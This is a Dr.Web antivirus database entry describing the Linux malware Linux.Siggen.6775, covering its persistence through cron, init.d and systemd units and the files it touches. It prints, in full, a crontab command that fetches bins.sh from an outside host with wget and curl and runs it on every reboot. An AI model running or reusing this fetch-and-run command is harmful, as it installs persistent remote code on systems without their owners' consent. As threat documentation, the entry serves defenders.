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Linux.Siggen.6775
Added to the Dr.Web virus database:
2024-03-18
Virus description added:
2024-03-18
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/var/spool/cron/crontabs/root
/etc/init.d/job
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
Manages services:
['/bin/systemctl', 'enable', 'bot']
Launches processes:
sh bins.sh
crontab -
chmod +x bins.sh
/bin/systemctl enable bot
crontab -l
(crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
Performs operations with the file system:
Modifies file access rights:
/var/spool/cron/crontabs/tmp.nBtcwk
/etc/init.d/job
Deletes folders:
/tmp/clearsigned.message.wLJMmX
/tmp/clearsigned.message.RBJLWQ
/tmp/clearsigned.message.xU2XcU
/tmp/clearsigned.message.VUNbnh
Creates or modifies files:
/self
/proc/491/cmdline
/dev/full
/var/spool/cron/crontabs/tmp.nBtcwk
/etc/init/bot.conf
/root/.bashrc
/usr/lib/systemd/system/bot.service
/etc/systemd/system/job.service
Deletes files:
/tmp/clearsigned.message.wLJMmX
/tmp/clearsigned.message.RBJLWQ
/tmp/clearsigned.message.xU2XcU
/tmp/clearsigned.message.VUNbnh
Changes time of creation/access/modification of files:
Network activity:
Awaits incoming connections on ports:
Establishes connection:
Curing recommendations
Linux
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